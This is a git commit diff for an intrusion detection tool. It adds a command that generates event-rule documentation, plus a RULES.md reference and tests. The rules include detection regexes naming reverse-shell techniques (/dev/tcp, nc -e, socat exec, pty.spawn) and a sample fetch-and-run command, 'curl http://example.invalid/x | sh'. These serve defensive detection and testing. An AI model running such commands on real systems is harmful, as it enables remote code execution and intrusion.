Generate event rule documentation
This commit is contained in:
parent
e43d7689a0
commit
7f4d5b42fd
8 changed files with 378 additions and 5 deletions
|
|
@ -57,6 +57,9 @@ Implemented investigation/response state:
|
||||||
`response-audit.log`. Dashboard/API plan previews do not write artifacts.
|
`response-audit.log`. Dashboard/API plan previews do not write artifacts.
|
||||||
- `rules list/show/test` exposes built-in and configured event rules and lets
|
- `rules list/show/test` exposes built-in and configured event rules and lets
|
||||||
operators test exec/syscall event JSON fixtures against the rule engines.
|
operators test exec/syscall event JSON fixtures against the rule engines.
|
||||||
|
- `rules docs` emits generated Markdown rule docs; `docs/RULES.md` is the
|
||||||
|
checked-in built-in rule reference with match fields, false positives, and
|
||||||
|
drill guidance.
|
||||||
- IPS behavior is currently explicit workflow: posture hardening plus reviewed
|
- IPS behavior is currently explicit workflow: posture hardening plus reviewed
|
||||||
dry-run containment actions. There is no automatic inline blocking or silent
|
dry-run containment actions. There is no automatic inline blocking or silent
|
||||||
host mutation yet.
|
host mutation yet.
|
||||||
|
|
@ -65,7 +68,8 @@ Near-term open work:
|
||||||
|
|
||||||
- Audited `--apply` response execution with tests and rollback notes.
|
- Audited `--apply` response execution with tests and rollback notes.
|
||||||
- Baseline reconciliation for legitimate FIM/package/listener/SUID drift.
|
- Baseline reconciliation for legitimate FIM/package/listener/SUID drift.
|
||||||
- Generated rule documentation from source defaults and red-team drill mapping.
|
- Fixture or red-team drill coverage for every built-in SID, including
|
||||||
|
event-only and future correlation SIDs.
|
||||||
- More event sources and correlation across exec, network, persistence, FIM,
|
- More event sources and correlation across exec, network, persistence, FIM,
|
||||||
and rootcheck signals.
|
and rootcheck signals.
|
||||||
- Stable schema compatibility tests for alerts, incidents, status, response
|
- Stable schema compatibility tests for alerts, incidents, status, response
|
||||||
|
|
|
||||||
|
|
@ -43,6 +43,8 @@ Project docs:
|
||||||
workflow, baseline hygiene, and evidence export.
|
workflow, baseline hygiene, and evidence export.
|
||||||
- [IR runbooks](docs/RUNBOOKS.md) — confirm/preserve/contain/recover playbooks
|
- [IR runbooks](docs/RUNBOOKS.md) — confirm/preserve/contain/recover playbooks
|
||||||
per alert: reverse shells, persistence, trojaned binaries, rootkits, tampering.
|
per alert: reverse shells, persistence, trojaned binaries, rootkits, tampering.
|
||||||
|
- [Rule reference](docs/RULES.md) — generated event-rule documentation: SID,
|
||||||
|
signature, classtype, match fields, expected false positives, and drills.
|
||||||
|
|
||||||
> **Two implementations, on purpose.** The project began as a bash prototype
|
> **Two implementations, on purpose.** The project began as a bash prototype
|
||||||
> (`src/sentinel.sh`, kept as the regression **oracle**) and was re-architected
|
> (`src/sentinel.sh`, kept as the regression **oracle**) and was re-architected
|
||||||
|
|
@ -103,6 +105,7 @@ They can inspect and test the active event rule set with:
|
||||||
enodia-sentinel rules list
|
enodia-sentinel rules list
|
||||||
enodia-sentinel rules show 100002
|
enodia-sentinel rules show 100002
|
||||||
enodia-sentinel rules test event.json
|
enodia-sentinel rules test event.json
|
||||||
|
enodia-sentinel rules docs
|
||||||
```
|
```
|
||||||
|
|
||||||
The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
|
The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
|
||||||
|
|
|
||||||
|
|
@ -74,6 +74,7 @@ enodia-sentinel rules show <sid>
|
||||||
enodia-sentinel rules show <sid> --json
|
enodia-sentinel rules show <sid> --json
|
||||||
enodia-sentinel rules test <event-json>
|
enodia-sentinel rules test <event-json>
|
||||||
enodia-sentinel rules test <event-json> --json
|
enodia-sentinel rules test <event-json> --json
|
||||||
|
enodia-sentinel rules docs
|
||||||
```
|
```
|
||||||
|
|
||||||
Inspects and tests event-driven detection rules without reading source code.
|
Inspects and tests event-driven detection rules without reading source code.
|
||||||
|
|
@ -81,7 +82,9 @@ Inspects and tests event-driven detection rules without reading source code.
|
||||||
from `exec_rules_file`. `rules show <sid>` prints the rule metadata and match
|
from `exec_rules_file`. `rules show <sid>` prints the rule metadata and match
|
||||||
conditions. `rules test <event-json>` loads an exec or syscall event JSON file,
|
conditions. `rules test <event-json>` loads an exec or syscall event JSON file,
|
||||||
runs the matching rule engine, and prints any alerts that would fire. Use `-`
|
runs the matching rule engine, and prints any alerts that would fire. Use `-`
|
||||||
instead of a path to read the event JSON from stdin.
|
instead of a path to read the event JSON from stdin. `rules docs` emits Markdown
|
||||||
|
rule documentation from the active rule metadata; the built-in snapshot lives in
|
||||||
|
[RULES.md](RULES.md).
|
||||||
|
|
||||||
Exec event JSON shape:
|
Exec event JSON shape:
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -160,7 +160,7 @@ turning Sentinel into a noisy rules dump.
|
||||||
configured rules.
|
configured rules.
|
||||||
- ✅ Add `enodia-sentinel rules test <event-json>` so operators can validate
|
- ✅ Add `enodia-sentinel rules test <event-json>` so operators can validate
|
||||||
custom event rules against captured or fixture events.
|
custom event rules against captured or fixture events.
|
||||||
- Generate rule documentation from source defaults: SID, signature, classtype,
|
- ✅ Generate rule documentation from source defaults: SID, signature, classtype,
|
||||||
event type, match fields, expected false positives, and drill coverage.
|
event type, match fields, expected false positives, and drill coverage.
|
||||||
- Require a fixture or safe red-team drill for every built-in SID, including
|
- Require a fixture or safe red-team drill for every built-in SID, including
|
||||||
event-only and correlation SIDs.
|
event-only and correlation SIDs.
|
||||||
|
|
|
||||||
200
docs/RULES.md
Normal file
200
docs/RULES.md
Normal file
|
|
@ -0,0 +1,200 @@
|
||||||
|
# Enodia Sentinel Event Rule Reference
|
||||||
|
|
||||||
|
Generated from the active exec/syscall rule defaults plus any configured `exec_rules_file` entries.
|
||||||
|
|
||||||
|
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
|
||||||
|
|
||||||
|
## SID 100001: Program executed from a world-writable directory
|
||||||
|
|
||||||
|
- Event: `exec`
|
||||||
|
- Signature: `exec_rule.fileless-execution`
|
||||||
|
- Classtype: `fileless-execution`
|
||||||
|
- Severity: `CRITICAL`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `path_prefixes`: `/tmp/`, `/dev/shm/`, `/var/tmp/`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.
|
||||||
|
- One-shot administrative diagnostics copied into a writable directory.
|
||||||
|
|
||||||
|
Drill or fixture: `sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.
|
||||||
|
|
||||||
|
## SID 100002: Reverse-shell command pattern in execve arguments
|
||||||
|
|
||||||
|
- Event: `exec`
|
||||||
|
- Signature: `exec_rule.c2-reverse-shell`
|
||||||
|
- Classtype: `c2-reverse-shell`
|
||||||
|
- Severity: `CRITICAL`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `argv_regex`: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Security training labs or safe self-tests that intentionally include reverse-shell command text.
|
||||||
|
- Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.
|
||||||
|
|
||||||
|
Drill or fixture: `sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.
|
||||||
|
|
||||||
|
## SID 100003: Web/DB service spawned a shell or interpreter (possible RCE/webshell)
|
||||||
|
|
||||||
|
- Event: `exec`
|
||||||
|
- Signature: `exec_rule.web-rce`
|
||||||
|
- Classtype: `web-rce`
|
||||||
|
- Severity: `CRITICAL`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `exec_comm`: `ash`, `bash`, `dash`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `zsh`
|
||||||
|
- `parent_comm`: `apache`, `apache2`, `caddy`, `catalina`, `httpd`, `lighttpd`, `mariadbd`, `mysqld`, `nginx`, `node`, `nodejs`, `php`, `php-fpm`, `php7`, `php8`, `postgres`, `redis-server`, `tomcat`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Legitimate web applications invoking maintenance scripts through shell wrappers.
|
||||||
|
- Database or web service containers whose entrypoint intentionally spawns an interpreter.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.
|
||||||
|
|
||||||
|
## SID 100004: Download piped directly to a shell (ingress tool transfer)
|
||||||
|
|
||||||
|
- Event: `exec`
|
||||||
|
- Signature: `exec_rule.ingress-tool-transfer`
|
||||||
|
- Classtype: `ingress-tool-transfer`
|
||||||
|
- Severity: `HIGH`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `argv_regex`: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Bootstrap scripts that intentionally pipe downloaded install content into a shell.
|
||||||
|
- Developer setup tooling run interactively during provisioning.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with argv like `curl http://example.invalid/x | sh`.
|
||||||
|
|
||||||
|
## SID 100060: mprotect made memory writable and executable
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.memory-obfuscation`
|
||||||
|
- Classtype: `memory-obfuscation`
|
||||||
|
- Severity: `CRITICAL`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `mprotect`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- JIT runtimes or emulators that make pages writable and executable.
|
||||||
|
- Security tooling that deliberately tests W^X policy.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.
|
||||||
|
|
||||||
|
## SID 100061: mmap requested writable and executable memory
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.memory-obfuscation`
|
||||||
|
- Classtype: `memory-obfuscation`
|
||||||
|
- Severity: `CRITICAL`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `mmap`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- JIT runtimes, emulators, or language VMs that allocate RWX memory.
|
||||||
|
- Compatibility layers that request executable writable mappings.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.
|
||||||
|
|
||||||
|
## SID 100062: memfd_create used for anonymous in-memory file staging
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.fileless-execution`
|
||||||
|
- Classtype: `fileless-execution`
|
||||||
|
- Severity: `MEDIUM`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `memfd_create`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.
|
||||||
|
- Container or IPC frameworks using memfd as a transport primitive.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.
|
||||||
|
|
||||||
|
## SID 100063: ptrace anti-debug or attach operation observed
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.anti-analysis`
|
||||||
|
- Classtype: `anti-analysis`
|
||||||
|
- Severity: `HIGH`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `ptrace`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.
|
||||||
|
- Developer sessions running `strace`, `gdb`, or similar tracing tools.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).
|
||||||
|
|
||||||
|
## SID 100064: seccomp sandboxing call observed (possible anti-analysis hardening)
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.anti-analysis`
|
||||||
|
- Classtype: `anti-analysis`
|
||||||
|
- Severity: `MEDIUM`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `prctl`, `seccomp`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.
|
||||||
|
- Security test harnesses validating seccomp policy.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).
|
||||||
|
|
||||||
|
## SID 100065: cross-process memory read/write syscall observed
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.credential-access`
|
||||||
|
- Classtype: `credential-access`
|
||||||
|
- Severity: `HIGH`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `process_vm_readv`, `process_vm_writev`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Debuggers, profilers, memory scanners, and EDR tools inspecting another process.
|
||||||
|
- Backup or checkpoint tooling that reads process memory intentionally.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.
|
||||||
|
|
||||||
|
## SID 100066: memory locking syscall observed (possible protected in-memory payload)
|
||||||
|
|
||||||
|
- Event: `syscall`
|
||||||
|
- Signature: `syscall_rule.memory-obfuscation`
|
||||||
|
- Classtype: `memory-obfuscation`
|
||||||
|
- Severity: `MEDIUM`
|
||||||
|
- Origin: `builtin`
|
||||||
|
|
||||||
|
Match fields:
|
||||||
|
- `syscalls`: `mlock`, `mlock2`, `mlockall`
|
||||||
|
- `predicate`: `built-in predicate`
|
||||||
|
|
||||||
|
Expected false positives:
|
||||||
|
- Databases, crypto agents, and credential stores locking sensitive memory.
|
||||||
|
- Realtime or performance-sensitive services using `mlock` intentionally.
|
||||||
|
|
||||||
|
Drill or fixture: Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.
|
||||||
|
|
@ -62,9 +62,9 @@ def main(argv: list[str] | None = None) -> int:
|
||||||
sub.add_parser("baseline", help="rebuild listener/SUID baselines")
|
sub.add_parser("baseline", help="rebuild listener/SUID baselines")
|
||||||
sub.add_parser("list-detectors", help="list available detectors")
|
sub.add_parser("list-detectors", help="list available detectors")
|
||||||
rules = sub.add_parser("rules",
|
rules = sub.add_parser("rules",
|
||||||
help="list/show/test built-in and configured rules")
|
help="list/show/test/docs built-in and configured rules")
|
||||||
rules.add_argument("action", nargs="?", default="list",
|
rules.add_argument("action", nargs="?", default="list",
|
||||||
choices=["list", "show", "test"],
|
choices=["list", "show", "test", "docs"],
|
||||||
help="rule action (default: list)")
|
help="rule action (default: list)")
|
||||||
rules.add_argument("target", nargs="?",
|
rules.add_argument("target", nargs="?",
|
||||||
help="sid for show, event JSON path for test, or '-'")
|
help="sid for show, event JSON path for test, or '-'")
|
||||||
|
|
@ -170,6 +170,10 @@ def _cmd_rules(cfg: Config, action: str, target: str | None,
|
||||||
|
|
||||||
from . import ruleops
|
from . import ruleops
|
||||||
|
|
||||||
|
if action == "docs":
|
||||||
|
print(ruleops.render_markdown(cfg), end="")
|
||||||
|
return 0
|
||||||
|
|
||||||
if action == "list":
|
if action == "list":
|
||||||
rules = ruleops.list_rules(cfg)
|
rules = ruleops.list_rules(cfg)
|
||||||
if as_json:
|
if as_json:
|
||||||
|
|
|
||||||
|
|
@ -40,6 +40,51 @@ def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def render_markdown(cfg: Config) -> str:
|
||||||
|
"""Render active event-rule metadata as operator documentation."""
|
||||||
|
lines = [
|
||||||
|
"# Enodia Sentinel Event Rule Reference",
|
||||||
|
"",
|
||||||
|
"Generated from the active exec/syscall rule defaults plus any configured "
|
||||||
|
"`exec_rules_file` entries.",
|
||||||
|
"",
|
||||||
|
"Use `enodia-sentinel rules list/show/test` to inspect rules and validate "
|
||||||
|
"event fixtures locally.",
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
for rule in list_rules(cfg):
|
||||||
|
doc = _RULE_DOCS.get(rule["sid"], {})
|
||||||
|
lines.extend([
|
||||||
|
f"## SID {rule['sid']}: {rule['msg']}",
|
||||||
|
"",
|
||||||
|
f"- Event: `{rule['event']}`",
|
||||||
|
f"- Signature: `{rule['signature']}`",
|
||||||
|
f"- Classtype: `{rule['classtype']}`",
|
||||||
|
f"- Severity: `{rule['severity']}`",
|
||||||
|
f"- Origin: `{rule['origin']}`",
|
||||||
|
"",
|
||||||
|
"Match fields:",
|
||||||
|
])
|
||||||
|
conditions = rule.get("conditions", {})
|
||||||
|
if conditions:
|
||||||
|
for key, value in conditions.items():
|
||||||
|
lines.append(f"- `{key}`: {_format_condition(value)}")
|
||||||
|
else:
|
||||||
|
lines.append("- none")
|
||||||
|
lines.extend([
|
||||||
|
"",
|
||||||
|
"Expected false positives:",
|
||||||
|
])
|
||||||
|
for fp in doc.get("false_positives", _default_false_positives(rule)):
|
||||||
|
lines.append(f"- {fp}")
|
||||||
|
lines.extend([
|
||||||
|
"",
|
||||||
|
f"Drill or fixture: {doc.get('drill', _default_drill(rule))}",
|
||||||
|
"",
|
||||||
|
])
|
||||||
|
return "\n".join(lines).rstrip() + "\n"
|
||||||
|
|
||||||
|
|
||||||
def load_event_json(path: str) -> dict[str, Any]:
|
def load_event_json(path: str) -> dict[str, Any]:
|
||||||
if path == "-":
|
if path == "-":
|
||||||
import sys
|
import sys
|
||||||
|
|
@ -96,6 +141,105 @@ def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]:
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
_RULE_DOCS: dict[int, dict[str, Any]] = {
|
||||||
|
100001: {
|
||||||
|
"false_positives": [
|
||||||
|
"Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.",
|
||||||
|
"One-shot administrative diagnostics copied into a writable directory.",
|
||||||
|
],
|
||||||
|
"drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.",
|
||||||
|
},
|
||||||
|
100002: {
|
||||||
|
"false_positives": [
|
||||||
|
"Security training labs or safe self-tests that intentionally include reverse-shell command text.",
|
||||||
|
"Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.",
|
||||||
|
],
|
||||||
|
"drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.",
|
||||||
|
},
|
||||||
|
100003: {
|
||||||
|
"false_positives": [
|
||||||
|
"Legitimate web applications invoking maintenance scripts through shell wrappers.",
|
||||||
|
"Database or web service containers whose entrypoint intentionally spawns an interpreter.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.",
|
||||||
|
},
|
||||||
|
100004: {
|
||||||
|
"false_positives": [
|
||||||
|
"Bootstrap scripts that intentionally pipe downloaded install content into a shell.",
|
||||||
|
"Developer setup tooling run interactively during provisioning.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.",
|
||||||
|
},
|
||||||
|
100060: {
|
||||||
|
"false_positives": [
|
||||||
|
"JIT runtimes or emulators that make pages writable and executable.",
|
||||||
|
"Security tooling that deliberately tests W^X policy.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.",
|
||||||
|
},
|
||||||
|
100061: {
|
||||||
|
"false_positives": [
|
||||||
|
"JIT runtimes, emulators, or language VMs that allocate RWX memory.",
|
||||||
|
"Compatibility layers that request executable writable mappings.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.",
|
||||||
|
},
|
||||||
|
100062: {
|
||||||
|
"false_positives": [
|
||||||
|
"Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.",
|
||||||
|
"Container or IPC frameworks using memfd as a transport primitive.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.",
|
||||||
|
},
|
||||||
|
100063: {
|
||||||
|
"false_positives": [
|
||||||
|
"Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.",
|
||||||
|
"Developer sessions running `strace`, `gdb`, or similar tracing tools.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).",
|
||||||
|
},
|
||||||
|
100064: {
|
||||||
|
"false_positives": [
|
||||||
|
"Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.",
|
||||||
|
"Security test harnesses validating seccomp policy.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).",
|
||||||
|
},
|
||||||
|
100065: {
|
||||||
|
"false_positives": [
|
||||||
|
"Debuggers, profilers, memory scanners, and EDR tools inspecting another process.",
|
||||||
|
"Backup or checkpoint tooling that reads process memory intentionally.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.",
|
||||||
|
},
|
||||||
|
100066: {
|
||||||
|
"false_positives": [
|
||||||
|
"Databases, crypto agents, and credential stores locking sensitive memory.",
|
||||||
|
"Realtime or performance-sensitive services using `mlock` intentionally.",
|
||||||
|
],
|
||||||
|
"drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _format_condition(value: Any) -> str:
|
||||||
|
if isinstance(value, list):
|
||||||
|
return ", ".join(f"`{v}`" for v in value) or "`[]`"
|
||||||
|
return f"`{value}`"
|
||||||
|
|
||||||
|
|
||||||
|
def _default_false_positives(rule: dict[str, Any]) -> list[str]:
|
||||||
|
if rule.get("origin") == "configured":
|
||||||
|
return ["Operator supplied rule; document expected benign matches beside the TOML rule."]
|
||||||
|
return ["No documented benign case yet; validate with `rules test` before tuning."]
|
||||||
|
|
||||||
|
|
||||||
|
def _default_drill(rule: dict[str, Any]) -> str:
|
||||||
|
if rule.get("origin") == "configured":
|
||||||
|
return "Use `enodia-sentinel rules test <event-json>` with a fixture that should match the configured rule."
|
||||||
|
return "Use `enodia-sentinel rules test <event-json>` with a representative fixture."
|
||||||
|
|
||||||
|
|
||||||
def _event_kind(event: dict[str, Any]) -> str:
|
def _event_kind(event: dict[str, Any]) -> str:
|
||||||
explicit = str(event.get("event") or event.get("type") or "").lower()
|
explicit = str(event.get("event") or event.get("type") or "").lower()
|
||||||
if explicit in {"exec", "execve"}:
|
if explicit in {"exec", "execve"}:
|
||||||
|
|
|
||||||
|
|
@ -66,6 +66,14 @@ exec_comm = ["id"]
|
||||||
alerts = ruleops.test_event(cfg, event)
|
alerts = ruleops.test_event(cfg, event)
|
||||||
self.assertIn(100060, {a.sid for a in alerts})
|
self.assertIn(100060, {a.sid for a in alerts})
|
||||||
|
|
||||||
|
def test_render_markdown_documents_rules(self):
|
||||||
|
text = ruleops.render_markdown(Config())
|
||||||
|
self.assertIn("# Enodia Sentinel Event Rule Reference", text)
|
||||||
|
self.assertIn("## SID 100002:", text)
|
||||||
|
self.assertIn("Expected false positives:", text)
|
||||||
|
self.assertIn("Drill or fixture:", text)
|
||||||
|
self.assertIn("`argv_regex`", text)
|
||||||
|
|
||||||
|
|
||||||
class TestRulesCli(unittest.TestCase):
|
class TestRulesCli(unittest.TestCase):
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
|
|
@ -123,6 +131,13 @@ class TestRulesCli(unittest.TestCase):
|
||||||
self.assertEqual(code, 1)
|
self.assertEqual(code, 1)
|
||||||
self.assertIn("No rules matched", out)
|
self.assertIn("No rules matched", out)
|
||||||
|
|
||||||
|
def test_docs_text(self):
|
||||||
|
code, out = self._run("docs")
|
||||||
|
self.assertEqual(code, 0)
|
||||||
|
self.assertIn("Enodia Sentinel Event Rule Reference", out)
|
||||||
|
self.assertIn("SID 100060", out)
|
||||||
|
self.assertIn("Expected false positives", out)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue